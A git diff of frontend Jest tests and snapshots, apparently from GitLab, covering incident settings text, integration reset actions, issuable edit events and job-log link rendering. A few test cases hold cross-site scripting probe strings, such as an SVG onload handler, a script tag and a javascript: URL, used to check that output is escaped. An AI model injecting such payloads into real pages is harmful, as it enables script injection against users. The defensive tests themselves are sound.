diff --git a/spec/frontend/incidents_settings/components/__snapshots__/alerts_form_spec.js.snap b/spec/frontend/incidents_settings/components/__snapshots__/alerts_form_spec.js.snap
index e4620590e62..c3fd4a9bab2 100644
--- a/spec/frontend/incidents_settings/components/__snapshots__/alerts_form_spec.js.snap
+++ b/spec/frontend/incidents_settings/components/__snapshots__/alerts_form_spec.js.snap
@@ -17,7 +17,7 @@ exports[`Alert integration settings form default state should match the default
data-qa-selector="create_issue_checkbox"
>
<span>
- Create an issue. Issues are created for each alert triggered.
+ Create an incident. Incidents are created for each alert triggered.
</span>
</gl-form-checkbox-stub>
</gl-form-group-stub>
@@ -32,7 +32,7 @@ exports[`Alert integration settings form default state should match the default
for="alert-integration-settings-issue-template"
>
- Issue template (optional)
+ Incident template (optional)
<gl-link-stub
href="/help/user/project/description_templates#creating-issue-templates"
@@ -47,7 +47,7 @@ exports[`Alert integration settings form default state should match the default
<gl-dropdown-stub
block="true"
- category="tertiary"
+ category="primary"
data-qa-selector="incident_templates_dropdown"
headertext=""
id="alert-integration-settings-issue-template"
@@ -60,6 +60,7 @@ exports[`Alert integration settings form default state should match the default
data-qa-selector="incident_templates_item"
iconcolor=""
iconname=""
+ iconrightarialabel=""
iconrightname=""
ischeckitem="true"
secondarytext=""
@@ -88,7 +89,7 @@ exports[`Alert integration settings form default state should match the default
checked="true"
>
<span>
- Automatically close incident issues when the associated Prometheus alert resolves.
+ Automatically close incidents when the associated Prometheus alert resolves.
</span>
</gl-form-checkbox-stub>
</gl-form-group-stub>
diff --git a/spec/frontend/incidents_settings/components/__snapshots__/incidents_settings_tabs_spec.js.snap b/spec/frontend/incidents_settings/components/__snapshots__/incidents_settings_tabs_spec.js.snap
index 072e611b9a4..2b3c803be08 100644
--- a/spec/frontend/incidents_settings/components/__snapshots__/incidents_settings_tabs_spec.js.snap
+++ b/spec/frontend/incidents_settings/components/__snapshots__/incidents_settings_tabs_spec.js.snap
@@ -43,6 +43,7 @@ exports[`IncidentsSettingTabs should render the component 1`] = `
>
<gl-tab-stub
title="Alert integration"
+ titlelinkclass=""
>
<alertssettingsform-stub
class="gl-pt-3"
@@ -51,6 +52,7 @@ exports[`IncidentsSettingTabs should render the component 1`] = `
</gl-tab-stub>
<gl-tab-stub
title="PagerDuty integration"
+ titlelinkclass=""
>
<pagerdutysettingsform-stub
class="gl-pt-3"
diff --git a/spec/frontend/incidents_settings/components/__snapshots__/pagerduty_form_spec.js.snap b/spec/frontend/incidents_settings/components/__snapshots__/pagerduty_form_spec.js.snap
index 273356151fc..f0eb54c1b3a 100644
--- a/spec/frontend/incidents_settings/components/__snapshots__/pagerduty_form_spec.js.snap
+++ b/spec/frontend/incidents_settings/components/__snapshots__/pagerduty_form_spec.js.snap
@@ -5,7 +5,9 @@ exports[`Alert integration settings form should match the default snapshot 1`] =
<!---->
<p>
- Setting up a webhook with PagerDuty will automatically create a GitLab issue for each PagerDuty incident.
+ <gl-sprintf-stub
+ message="Create a GitLab incident for each PagerDuty incident by %{linkStart}configuring a webhook in PagerDuty%{linkEnd}"
+ />
</p>
<form>
@@ -33,18 +35,10 @@ exports[`Alert integration settings form should match the default snapshot 1`] =
value="pagerduty.webhook.com"
/>
- <div
- class="gl-text-gray-200 gl-pt-2"
- >
- <gl-sprintf-stub
- message="Create a GitLab issue for each PagerDuty incident by %{docsLink}"
- />
- </div>
-
<gl-button-stub
buttontextclasses=""
category="primary"
- class="gl-mt-3"
+ class="gl-mt-5"
data-testid="webhook-reset-btn"
icon=""
role="button"
diff --git a/spec/frontend/integrations/edit/store/actions_spec.js b/spec/frontend/integrations/edit/store/actions_spec.js
index 5b5c8d6f76e..1ff881c265d 100644
--- a/spec/frontend/integrations/edit/store/actions_spec.js
+++ b/spec/frontend/integrations/edit/store/actions_spec.js
@@ -1,13 +1,19 @@
import testAction from 'helpers/vuex_action_helper';
+import { refreshCurrentPage } from '~/lib/utils/url_utility';
import createState from '~/integrations/edit/store/state';
import {
setOverride,
setIsSaving,
setIsTesting,
setIsResetting,
+ requestResetIntegration,
+ receiveResetIntegrationSuccess,
+ receiveResetIntegrationError,
} from '~/integrations/edit/store/actions';
import * as types from '~/integrations/edit/store/mutation_types';
+jest.mock('~/lib/utils/url_utility');
+
describe('Integration form store actions', () => {
let state;
@@ -40,4 +46,28 @@ describe('Integration form store actions', () => {
]);
});
});
+
+ describe('requestResetIntegration', () => {
+ it('should commit REQUEST_RESET_INTEGRATION mutation', () => {
+ return testAction(requestResetIntegration, null, state, [
+ { type: types.REQUEST_RESET_INTEGRATION },
+ ]);
+ });
+ });
+
+ describe('receiveResetIntegrationSuccess', () => {
+ it('should call refreshCurrentPage()', () => {
+ return testAction(receiveResetIntegrationSuccess, null, state, [], [], () => {
+ expect(refreshCurrentPage).toHaveBeenCalled();
+ });
+ });
+ });
+
+ describe('receiveResetIntegrationError', () => {
+ it('should commit RECEIVE_RESET_INTEGRATION_ERROR mutation', () => {
+ return testAction(receiveResetIntegrationError, null, state, [
+ { type: types.RECEIVE_RESET_INTEGRATION_ERROR },
+ ]);
+ });
+ });
});
diff --git a/spec/frontend/integrations/edit/store/mutations_spec.js b/spec/frontend/integrations/edit/store/mutations_spec.js
index 4707b4b3714..81f39adb87f 100644
--- a/spec/frontend/integrations/edit/store/mutations_spec.js
+++ b/spec/frontend/integrations/edit/store/mutations_spec.js
@@ -40,4 +40,20 @@ describe('Integration form store mutations', () => {
expect(state.isResetting).toBe(true);
});
});
+
+ describe(`${types.REQUEST_RESET_INTEGRATION}`, () => {
+ it('sets isResetting', () => {
+ mutations[types.REQUEST_RESET_INTEGRATION](state);
+
+ expect(state.isResetting).toBe(true);
+ });
+ });
+
+ describe(`${types.RECEIVE_RESET_INTEGRATION_ERROR}`, () => {
+ it('sets isResetting', () => {
+ mutations[types.RECEIVE_RESET_INTEGRATION_ERROR](state);
+
+ expect(state.isResetting).toBe(false);
+ });
+ });
});
diff --git a/spec/frontend/invite_members/components/members_token_select_spec.js b/spec/frontend/invite_members/components/members_token_select_spec.js
index fb0bd6bb195..106a2df783d 100644
--- a/spec/frontend/invite_members/components/members_token_select_spec.js
+++ b/spec/frontend/invite_members/components/members_token_select_spec.js
@@ -2,6 +2,7 @@ import { shallowMount } from '@vue/test-utils';
import { nextTick } from 'vue';
import { GlTokenSelector } from '@gitlab/ui';
import waitForPromises from 'helpers/wait_for_promises';
+import { stubComponent } from 'helpers/stub_component';
import Api from '~/api';
import MembersTokenSelect from '~/invite_members/components/members_token_select.vue';
@@ -17,6 +18,9 @@ const createComponent = () => {
ariaLabelledby: label,
placeholder,
},
+ stubs: {
+ GlTokenSelector: stubComponent(GlTokenSelector),
+ },
});
};
diff --git a/spec/frontend/issuable/related_issues/components/issue_token_spec.js b/spec/frontend/issuable/related_issues/components/issue_token_spec.js
index 1b4c6b548e2..d5181d4a17a 100644
--- a/spec/frontend/issuable/related_issues/components/issue_token_spec.js
+++ b/spec/frontend/issuable/related_issues/components/issue_token_spec.js
@@ -100,7 +100,7 @@ describe('IssueToken', () => {
state,
});
- expect(findReferenceIcon().attributes('aria-label')).toBe(state);
+ expect(findReferenceIcon().props('ariaLabel')).toBe(state);
expect(findReference().text()).toBe(displayReference);
expect(findTitle().text()).toBe(title);
});
diff --git a/spec/frontend/issuable/related_issues/components/related_issues_root_spec.js b/spec/frontend/issuable/related_issues/components/related_issues_root_spec.js
index 2544d0bd030..2c02e1e1de4 100644
--- a/spec/frontend/issuable/related_issues/components/related_issues_root_spec.js
+++ b/spec/frontend/issuable/related_issues/components/related_issues_root_spec.js
@@ -280,7 +280,7 @@ describe('RelatedIssuesRoot', () => {
const input = 'asdf/qwer#444 #12 ';
wrapper.vm.onInput({
untouchedRawReferences: input.trim().split(/\s/),
- touchedReference: 2,
+ touchedReference: '2',
});
expect(wrapper.vm.state.pendingReferences).toHaveLength(2);
@@ -292,13 +292,37 @@ describe('RelatedIssuesRoot', () => {
const input = 'something random ';
wrapper.vm.onInput({
untouchedRawReferences: input.trim().split(/\s/),
- touchedReference: 2,
+ touchedReference: '2',
});
expect(wrapper.vm.state.pendingReferences).toHaveLength(2);
expect(wrapper.vm.state.pendingReferences[0]).toEqual('something');
expect(wrapper.vm.state.pendingReferences[1]).toEqual('random');
});
+
+ it('prepends # when user enters a numeric value [0-9]', async () => {
+ const input = '23';
+
+ wrapper.vm.onInput({
+ untouchedRawReferences: input.trim().split(/\s/),
+ touchedReference: input,
+ });
+
+ expect(wrapper.vm.inputValue).toBe(`#${input}`);
+ });
+
+ it('prepends # when user enters a number', async () => {
+ const input = 23;
+
+ wrapper.vm.onInput({
+ untouchedRawReferences: String(input)
+ .trim()
+ .split(/\s/),
+ touchedReference: input,
+ });
+
+ expect(wrapper.vm.inputValue).toBe(`#${input}`);
+ });
});
describe('onBlur', () => {
diff --git a/spec/frontend/issuable_show/components/issuable_body_spec.js b/spec/frontend/issuable_show/components/issuable_body_spec.js
index 0e4475e8103..5708eaf4a31 100644
--- a/spec/frontend/issuable_show/components/issuable_body_spec.js
+++ b/spec/frontend/issuable_show/components/issuable_body_spec.js
@@ -135,6 +135,33 @@ describe('IssuableBody', () => {
expect(wrapper.emitted('edit-issuable')).toBeTruthy();
});
+
+ it.each(['keydown-title', 'keydown-description'])(
+ 'component emits `%s` event with event object and issuableMeta params via issuable-edit-form',
+ async eventName => {
+ const eventObj = {
+ preventDefault: jest.fn(),
+ stopPropagation: jest.fn(),
+ };
+ const issuableMeta = {
+ issuableTitle: 'foo',
+ issuableDescription: 'foobar',
+ };
+
+ wrapper.setProps({
+ editFormVisible: true,
+ });
+
+ await wrapper.vm.$nextTick();
+
+ const issuableEditForm = wrapper.find(IssuableEditForm);
+
+ issuableEditForm.vm.$emit(eventName, eventObj, issuableMeta);
+
+ expect(wrapper.emitted(eventName)).toBeTruthy();
+ expect(wrapper.emitted(eventName)[0]).toMatchObject([eventObj, issuableMeta]);
+ },
+ );
});
});
});
diff --git a/spec/frontend/issuable_show/components/issuable_edit_form_spec.js b/spec/frontend/issuable_show/components/issuable_edit_form_spec.js
index 352e66cdffe..a865bdb5608 100644
--- a/spec/frontend/issuable_show/components/issuable_edit_form_spec.js
+++ b/spec/frontend/issuable_show/components/issuable_edit_form_spec.js
@@ -41,6 +41,40 @@ describe('IssuableEditForm', () => {
wrapper.destroy();
});
+ describe('watch', () => {
+ describe('issuable', () => {
+ it('sets title and description to `issuable.title` and `issuable.description` when those values are available', async () => {
+ wrapper.setProps({
+ issuable: {
+ ...issuableEditFormProps.issuable,
+ title: 'Foo',
+ description: 'Foobar',
+ },
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.title).toBe('Foo');
+ expect(wrapper.vm.description).toBe('Foobar');
+ });
+
+ it('sets title and description to empty string when `issuable.title` and `issuable.description` is unavailable', async () => {
+ wrapper.setProps({
+ issuable: {
+ ...issuableEditFormProps.issuable,
+ title: null,
+ description: null,
+ },
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.title).toBe('');
+ expect(wrapper.vm.description).toBe('');
+ });
+ });
+ });
+
describe('created', () => {
it('binds `update.issuable` and `close.form` event listeners', () => {
const eventOnSpy = jest.spyOn(IssuableEventHub, '$on');
@@ -118,5 +152,42 @@ describe('IssuableEditForm', () => {
expect(actionsEl.find('button.js-save').exists()).toBe(true);
expect(actionsEl.find('button.js-cancel').exists()).toBe(true);
});
+
+ describe('events', () => {
+ const eventObj = {
+ preventDefault: jest.fn(),
+ stopPropagation: jest.fn(),
+ };
+
+ it('component emits `keydown-title` event with event object and issuableMeta params via gl-form-input', async () => {
+ const titleInputEl = wrapper.find(GlFormInput);
+
+ titleInputEl.vm.$emit('keydown', eventObj, 'title');
+
+ expect(wrapper.emitted('keydown-title')).toBeTruthy();
+ expect(wrapper.emitted('keydown-title')[0]).toMatchObject([
+ eventObj,
+ {
+ issuableTitle: wrapper.vm.title,
+ issuableDescription: wrapper.vm.description,
+ },
+ ]);
+ });
+
+ it('component emits `keydown-description` event with event object and issuableMeta params via textarea', async () => {
+ const descriptionInputEl = wrapper.find('[data-testid="description"] textarea');
+
+ descriptionInputEl.trigger('keydown', eventObj, 'description');
+
+ expect(wrapper.emitted('keydown-description')).toBeTruthy();
+ expect(wrapper.emitted('keydown-description')[0]).toMatchObject([
+ eventObj,
+ {
+ issuableTitle: wrapper.vm.title,
+ issuableDescription: wrapper.vm.description,
+ },
+ ]);
+ });
+ });
});
});
diff --git a/spec/frontend/issuable_show/components/issuable_show_root_spec.js b/spec/frontend/issuable_show/components/issuable_show_root_spec.js
index 112e4ccd340..ca0aefc1083 100644
--- a/spec/frontend/issuable_show/components/issuable_show_root_spec.js
+++ b/spec/frontend/issuable_show/components/issuable_show_root_spec.js
@@ -118,6 +118,27 @@ describe('IssuableShowRoot', () => {
expect(wrapper.emitted('sidebar-toggle')).toBeTruthy();
});
+
+ it.each(['keydown-title', 'keydown-description'])(
+ 'component emits `%s` event with event object and issuableMeta params via issuable-body',
+ eventName => {
+ const eventObj = {
+ preventDefault: jest.fn(),
+ stopPropagation: jest.fn(),
+ };
+ const issuableMeta = {
+ issuableTitle: 'foo',
+ issuableDescription: 'foobar',
+ };
+
+ const issuableBody = wrapper.find(IssuableBody);
+
+ issuableBody.vm.$emit(eventName, eventObj, issuableMeta);
+
+ expect(wrapper.emitted(eventName)).toBeTruthy();
+ expect(wrapper.emitted(eventName)[0]).toMatchObject([eventObj, issuableMeta]);
+ },
+ );
});
});
});
diff --git a/spec/frontend/issuable_show/mock_data.js b/spec/frontend/issuable_show/mock_data.js
index 14e5febdc6b..af854f420bc 100644
--- a/spec/frontend/issuable_show/mock_data.js
+++ b/spec/frontend/issuable_show/mock_data.js
@@ -28,7 +28,9 @@ export const mockIssuableShowProps = {
descriptionPreviewPath: '/gitlab-org/gitlab-shell/preview_markdown',
editFormVisible: false,
enableAutocomplete: true,
+ enableAutosave: true,
enableEdit: true,
+ showFieldTitle: false,
statusBadgeClass: 'status-box-open',
statusIcon: 'issue-open-m',
};
diff --git a/spec/frontend/issue_show/components/header_actions_spec.js b/spec/frontend/issue_show/components/header_actions_spec.js
index 67b8665a889..b9836ae7240 100644
--- a/spec/frontend/issue_show/components/header_actions_spec.js
+++ b/spec/frontend/issue_show/components/header_actions_spec.js
@@ -7,6 +7,7 @@ import HeaderActions from '~/issue_show/components/header_actions.vue';
import { IssuableStatus, IssueStateEvent } from '~/issue_show/constants';
import promoteToEpicMutation from '~/issue_show/queries/promote_to_epic.mutation.graphql';
import * as urlUtility from '~/lib/utils/url_utility';
+import eventHub from '~/notes/event_hub';
import createStore from '~/notes/stores';
jest.mock('~/flash');
@@ -82,8 +83,10 @@ describe('HeaderActions component', () => {
} = {}) => {
mutateMock = jest.fn().mockResolvedValue(mutateResponse);
- store.getters.getNoteableData.state = issueState;
- store.getters.getNoteableData.blocked_by_issues = blockedByIssues;
+ store.dispatch('setNoteableData', {
+ blocked_by_issues: blockedByIssues,
+ state: issueState,
+ });
return shallowMount(HeaderActions, {
localVue,
@@ -273,6 +276,26 @@ describe('HeaderActions component', () => {
});
});
+ describe('when `toggle.issuable.state` event is emitted', () => {
+ it('invokes a method to toggle the issue state', () => {
+ wrapper = mountComponent({ mutateResponse: updateIssueMutationResponse });
+
+ eventHub.$emit('toggle.issuable.state');
+
+ expect(mutateMock).toHaveBeenCalledWith(
+ expect.objectContaining({
+ variables: {
+ input: {
+ iid: defaultProps.iid,
+ projectPath: defaultProps.projectPath,
+ stateEvent: IssueStateEvent.Close,
+ },
+ },
+ }),
+ );
+ });
+ });
+
describe('modal', () => {
const blockedByIssues = [
{ iid: 13, web_url: 'gitlab-org/gitlab-test/-/issues/13' },
diff --git a/spec/frontend/issue_show/issue_spec.js b/spec/frontend/issue_show/issue_spec.js
index 7a48353af94..cee9969d26a 100644
--- a/spec/frontend/issue_show/issue_spec.js
+++ b/spec/frontend/issue_show/issue_spec.js
@@ -30,7 +30,8 @@ describe('Issue show index', () => {
initialDescriptionHtml: '<svg onload=window.alert(1)>',
});
- const issuableData = parseData.parseIssuableData();
+ const initialDataEl = document.getElementById('js-issuable-app');
+ const issuableData = parseData.parseIssuableData(initialDataEl);
initIssuableApp(issuableData, createStore());
await waitForPromises();
diff --git a/spec/frontend/issue_spec.js b/spec/frontend/issue_spec.js
index 24020daf728..00595736821 100644
--- a/spec/frontend/issue_spec.js
+++ b/spec/frontend/issue_spec.js
@@ -1,5 +1,3 @@
-/* eslint-disable one-var, no-use-before-define */
-
import $ from 'jquery';
import MockAdapter from 'axios-mock-adapter';
import axios from '~/lib/utils/axios_utils';
@@ -7,59 +5,16 @@ import Issue from '~/issue';
import '~/lib/utils/text_utility';
describe('Issue', () => {
+ let $boxClosed;
+ let $boxOpen;
let testContext;
beforeEach(() => {
testContext = {};
});
- let $boxClosed, $boxOpen, $btn;
-
preloadFixtures('issues/closed-issue.html');
- preloadFixtures('issues/issue-with-task-list.html');
preloadFixtures('issues/open-issue.html');
- preloadFixtures('static/issue_with_mermaid_graph.html');
-
- function expectErrorMessage() {
- const $flashMessage = $('div.flash-alert');
-
- expect($flashMessage).toExist();
- expect($flashMessage).toBeVisible();
- expect($flashMessage).toHaveText('Unable to update this issue at this time.');
- }
-
- function expectIssueState(isIssueOpen) {
- expectVisibility($boxClosed, !isIssueOpen);
- expectVisibility($boxOpen, isIssueOpen);
-
- expect($btn).toHaveText(isIssueOpen ? 'Close issue' : 'Reopen issue');
- }
-
- function expectNewBranchButtonState(isPending, canCreate) {
- if (Issue.$btnNewBranch.length === 0) {
- return;
- }
-
- const $available = Issue.$btnNewBranch.find('.available');
-
- expect($available).toHaveText('New branch');
-
- if (!isPending && canCreate) {
- expect($available).toBeVisible();
- } else {
- expect($available).toBeHidden();
- }
-
- const $unavailable = Issue.$btnNewBranch.find('.unavailable');
-
- expect($unavailable).toHaveText('New branch unavailable');
-
- if (!isPending && !canCreate) {
- expect($unavailable).toBeVisible();
- } else {
- expect($unavailable).toBeHidden();
- }
- }
function expectVisibility($element, shouldBeVisible) {
if (shouldBeVisible) {
@@ -69,7 +24,12 @@ describe('Issue', () => {
}
}
- function findElements(isIssueInitiallyOpen) {
+ function expectIssueState(isIssueOpen) {
+ expectVisibility($boxClosed, !isIssueOpen);
+ expectVisibility($boxOpen, isIssueOpen);
+ }
+
+ function findElements() {
$boxClosed = $('div.status-box-issue-closed');
expect($boxClosed).toExist();
@@ -79,11 +39,6 @@ describe('Issue', () => {
expect($boxOpen).toExist();
expect($boxOpen).toHaveText('Open');
-
- $btn = $('.js-issuable-close-button');
-
- expect($btn).toExist();
- expect($btn).toHaveText(isIssueInitiallyOpen ? 'Close issue' : 'Reopen issue');
}
[true, false].forEach(isIssueInitiallyOpen => {
@@ -99,25 +54,6 @@ describe('Issue', () => {
testContext.$projectIssuesCounter.text('1,001');
}
- function mockCloseButtonResponseSuccess(url, response) {
- mock.onPut(url).reply(() => {
- expectNewBranchButtonState(true, false);
-
- return [200, response];
- });
- }
-
- function mockCloseButtonResponseError(url) {
- mock.onPut(url).networkError();
- }
-
- function mockCanCreateBranch(canCreateBranch) {
- mock.onGet(/(.*)\/can_create_branch$/).reply(200, {
- can_create_branch: canCreateBranch,
- suggested_branch_name: 'foo-99',
- });
- }
-
beforeEach(() => {
if (isIssueInitiallyOpen) {
loadFixtures('issues/open-issue.html');
@@ -130,7 +66,6 @@ describe('Issue', () => {
jest.spyOn(axios, 'get');
findElements(isIssueInitiallyOpen);
- testContext.$triggeredButton = $btn;
});
afterEach(() => {
@@ -138,120 +73,19 @@ describe('Issue', () => {
$('div.flash-alert').remove();
});
- it(`${action}s the issue`, done => {
- mockCloseButtonResponseSuccess(testContext.$triggeredButton.attr('href'), {
- id: 34,
- });
- mockCanCreateBranch(!isIssueInitiallyOpen);
-
- setup();
- testContext.$triggeredButton.trigger('click');
-
- setImmediate(() => {
- expectIssueState(!isIssueInitiallyOpen);
-
- expect(testContext.$triggeredButton.get(0).getAttribute('disabled')).toBeNull();
- expect(testContext.$projectIssuesCounter.text()).toBe(
- isIssueInitiallyOpen ? '1,000' : '1,002',
- );
- expectNewBranchButtonState(false, !isIssueInitiallyOpen);
-
- done();
- });
- });
-
- it(`fails to ${action} the issue if saved:false`, done => {
- mockCloseButtonResponseSuccess(testContext.$triggeredButton.attr('href'), {
- saved: false,
- });
- mockCanCreateBranch(isIssueInitiallyOpen);
-
- setup();
- testContext.$triggeredButton.trigger('click');
-
- setImmediate(() => {
- expectIssueState(isIssueInitiallyOpen);
-
- expect(testContext.$triggeredButton.get(0).getAttribute('disabled')).toBeNull();
- expectErrorMessage();
-
- expect(testContext.$projectIssuesCounter.text()).toBe('1,001');
- expectNewBranchButtonState(false, isIssueInitiallyOpen);
-
- done();
- });
- });
-
- it(`fails to ${action} the issue if HTTP error occurs`, done => {
- mockCloseButtonResponseError(testContext.$triggeredButton.attr('href'));
- mockCanCreateBranch(isIssueInitiallyOpen);
-
- setup();
- testContext.$triggeredButton.trigger('click');
-
- setImmediate(() => {
- expectIssueState(isIssueInitiallyOpen);
-
- expect(testContext.$triggeredButton.get(0).getAttribute('disabled')).toBeNull();
- expectErrorMessage();
-
- expect(testContext.$projectIssuesCounter.text()).toBe('1,001');
- expectNewBranchButtonState(false, isIssueInitiallyOpen);
-
- done();
- });
- });
-
- it('disables the new branch button if Ajax call fails', () => {
- mockCloseButtonResponseError(testContext.$triggeredButton.attr('href'));
- mock.onGet(/(.*)\/can_create_branch$/).networkError();
-
- setup();
- testContext.$triggeredButton.trigger('click');
-
- expectNewBranchButtonState(false, false);
- });
-
- it('does not trigger Ajax call if new branch button is missing', done => {
- mockCloseButtonResponseError(testContext.$triggeredButton.attr('href'));
-
- document.querySelector('#related-branches').remove();
- document.querySelector('.create-mr-dropdown-wrap').remove();
-
+ it(`${action}s the issue on dispatch of issuable_vue_app:change event`, () => {
setup();
- testContext.$triggeredButton.trigger('click');
-
- setImmediate(() => {
- expect(axios.get).not.toHaveBeenCalled();
-
- done();
- });
- });
- });
- });
-
- describe('when not displaying blocked warning', () => {
- describe('when clicking a mermaid graph inside an issue description', () => {
- let mock;
- let spy;
-
- beforeEach(() => {
- loadFixtures('static/issue_with_mermaid_graph.html');
- mock = new MockAdapter(axios);
- spy = jest.spyOn(axios, 'put');
- });
-
- afterEach(() => {
- mock.restore();
- jest.clearAllMocks();
- });
-
- it('does not make a PUT request', () => {
- Issue.prototype.initIssueBtnEventListeners();
- $('svg a.js-issuable-actions').trigger('click');
+ document.dispatchEvent(
+ new CustomEvent('issuable_vue_app:change', {
+ detail: {
+ data: { id: 1 },
+ isClosed: isIssueInitiallyOpen,
+ },
+ }),
+ );
- expect(spy).not.toHaveBeenCalled();
+ expectIssueState(!isIssueInitiallyOpen);
});
});
});
diff --git a/spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap b/spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap
index fe6d9a34078..c40b7c90c72 100644
--- a/spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap
+++ b/spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap
@@ -120,6 +120,7 @@ exports[`JiraImportForm table body shows correct information in each cell 1`] =
class="gl-search-box-by-type"
>
<svg
+ aria-hidden="true"
class="gl-search-box-by-type-search-icon gl-icon s16"
data-testid="search-icon"
>
@@ -234,6 +235,7 @@ exports[`JiraImportForm table body shows correct information in each cell 1`] =
class="gl-search-box-by-type"
>
<svg
+ aria-hidden="true"
class="gl-search-box-by-type-search-icon gl-icon s16"
data-testid="search-icon"
>
diff --git a/spec/frontend/jobs/components/log/line_spec.js b/spec/frontend/jobs/components/log/line_spec.js
index 314b23ec29b..914ae2424c8 100644
--- a/spec/frontend/jobs/components/log/line_spec.js
+++ b/spec/frontend/jobs/components/log/line_spec.js
@@ -4,6 +4,7 @@ import LineNumber from '~/jobs/components/log/line_number.vue';
const httpUrl = 'http://example.com';
const httpsUrl = 'https://example.com';
+const queryUrl = 'https://example.com?param=val';
const mockProps = ({ text = 'Running with gitlab-runner 12.1.0 (de7731dd)' } = {}) => ({
line: {
@@ -21,7 +22,6 @@ const mockProps = ({ text = 'Running with gitlab-runner 12.1.0 (de7731dd)' } = {
describe('Job Log Line', () => {
let wrapper;
let data;
- let originalGon;
const createComponent = (props = {}) => {
wrapper = shallowMount(Line, {
@@ -33,25 +33,17 @@ describe('Job Log Line', () => {
const findLine = () => wrapper.find('span');
const findLink = () => findLine().find('a');
- const findLinksAt = i =>
- findLine()
- .findAll('a')
- .at(i);
+ const findLinks = () => findLine().findAll('a');
+ const findLinkAttributeByIndex = i =>
+ findLinks()
+ .at(i)
+ .attributes();
beforeEach(() => {
- originalGon = window.gon;
- window.gon.features = {
- ciJobLineLinks: false,
- };
-
data = mockProps();
createComponent(data);
});
- afterEach(() => {
- window.gon = originalGon;
- });
-
it('renders the line number component', () => {
expect(wrapper.find(LineNumber).exists()).toBe(true);
});
@@ -64,44 +56,7 @@ describe('Job Log Line', () => {
expect(findLine().classes()).toContain(data.line.content[0].style);
});
- describe.each([true, false])('when feature ci_job_line_links enabled = %p', ciJobLineLinks => {
- beforeEach(() => {
- window.gon.features = {
- ciJobLineLinks,
- };
- });
-
- it('renders text with symbols', () => {
- const text = 'apt-get update < /dev/null > /dev/null';
- createComponent(mockProps({ text }));
-
- expect(findLine().text()).toBe(text);
- });
-
- it.each`
- tag | text
- ${'a'} | ${'<a href="#">linked</a>'}
- ${'script'} | ${'<script>doEvil();</script>'}
- ${'strong'} | ${'<strong>highlighted</strong>'}
- `('escapes `<$tag>` tags in text', ({ tag, text }) => {
- createComponent(mockProps({ text }));
-
- expect(
- findLine()
- .find(tag)
- .exists(),
- ).toBe(false);
- expect(findLine().text()).toBe(text);
- });
- });
-
- describe('when ci_job_line_links is enabled', () => {
- beforeEach(() => {
- window.gon.features = {
- ciJobLineLinks: true,
- };
- });
-
+ describe('job urls as links', () => {
it('renders an http link', () => {
createComponent(mockProps({ text: httpUrl }));
@@ -116,15 +71,6 @@ describe('Job Log Line', () => {
expect(findLink().attributes().href).toBe(httpsUrl);
});
- it('renders a multiple links surrounded by text', () => {
- createComponent(mockProps({ text: `My HTTP url: ${httpUrl} and my HTTPS url: ${httpsUrl}` }));
- expect(findLine().text()).toBe(
- 'My HTTP url: http://example.com and my HTTPS url: https://example.com',
- );
- expect(findLinksAt(0).attributes().href).toBe(httpUrl);
- expect(findLinksAt(1).attributes().href).toBe(httpsUrl);
- });
-
it('renders a link with rel nofollow and noopener', () => {
createComponent(mockProps({ text: httpsUrl }));
@@ -137,26 +83,70 @@ describe('Job Log Line', () => {
expect(findLink().classes()).toEqual(['gl-reset-color!', 'gl-text-decoration-underline']);
});
- it('render links surrounded by text', () => {
+ it('renders links with queries, surrounded by questions marks', () => {
+ createComponent(mockProps({ text: `Did you see my url ${queryUrl}??` }));
+
+ expect(findLine().text()).toBe('Did you see my url https://example.com?param=val??');
+ expect(findLinkAttributeByIndex(0).href).toBe(queryUrl);
+ });
+
+ it('renders links with queries, surrounded by exclamation marks', () => {
+ createComponent(mockProps({ text: `No! The ${queryUrl}!?` }));
+
+ expect(findLine().text()).toBe('No! The https://example.com?param=val!?');
+ expect(findLinkAttributeByIndex(0).href).toBe(queryUrl);
+ });
+
+ it('renders multiple links surrounded by text', () => {
createComponent(
- mockProps({ text: `My HTTP url: ${httpUrl} and my HTTPS url: ${httpsUrl} are here.` }),
+ mockProps({ text: `Well, my HTTP url: ${httpUrl} and my HTTPS url: ${httpsUrl}` }),
);
expect(findLine().text()).toBe(
- 'My HTTP url: http://example.com and my HTTPS url: https://example.com are here.',
+ 'Well, my HTTP url: http://example.com and my HTTPS url: https://example.com',
);
- expect(findLinksAt(0).attributes().href).toBe(httpUrl);
- expect(findLinksAt(1).attributes().href).toBe(httpsUrl);
+
+ expect(findLinks()).toHaveLength(2);
+
+ expect(findLinkAttributeByIndex(0).href).toBe(httpUrl);
+ expect(findLinkAttributeByIndex(1).href).toBe(httpsUrl);
+ });
+
+ it('renders multiple links surrounded by text, with other symbols', () => {
+ createComponent(
+ mockProps({ text: `${httpUrl}, ${httpUrl}: ${httpsUrl}; ${httpsUrl}. ${httpsUrl}...` }),
+ );
+ expect(findLine().text()).toBe(
+ 'http://example.com, http://example.com: https://example.com; https://example.com. https://example.com...',
+ );
+
+ expect(findLinks()).toHaveLength(5);
+
+ expect(findLinkAttributeByIndex(0).href).toBe(httpUrl);
+ expect(findLinkAttributeByIndex(1).href).toBe(httpUrl);
+ expect(findLinkAttributeByIndex(2).href).toBe(httpsUrl);
+ expect(findLinkAttributeByIndex(3).href).toBe(httpsUrl);
+ expect(findLinkAttributeByIndex(4).href).toBe(httpsUrl);
+ });
+
+ it('renders text with symbols in it', () => {
+ const text = 'apt-get update < /dev/null > /dev/null';
+ createComponent(mockProps({ text }));
+
+ expect(findLine().text()).toBe(text);
});
const jshref = 'javascript:doEvil();'; // eslint-disable-line no-script-url
- test.each`
- type | text
- ${'js'} | ${jshref}
- ${'file'} | ${'file:///a-file'}
- ${'ftp'} | ${'ftp://example.com/file'}
- ${'email'} | ${'email@example.com'}
- ${'no scheme'} | ${'example.com/page'}
+ it.each`
+ type | text
+ ${'html link'} | ${'<a href="#">linked</a>'}
+ ${'html script'} | ${'<script>doEvil();</script>'}
+ ${'html strong'} | ${'<strong>highlighted</strong>'}
+ ${'js'} | ${jshref}
+ ${'file'} | ${'file:///a-file'}
+ ${'ftp'} | ${'ftp://example.com/file'}
+ ${'email'} | ${'email@example.com'}
+ ${'no scheme'} | ${'example.com/page'}
`('does not render a $type link', ({ text }) => {
createComponent(mockProps({ text }));
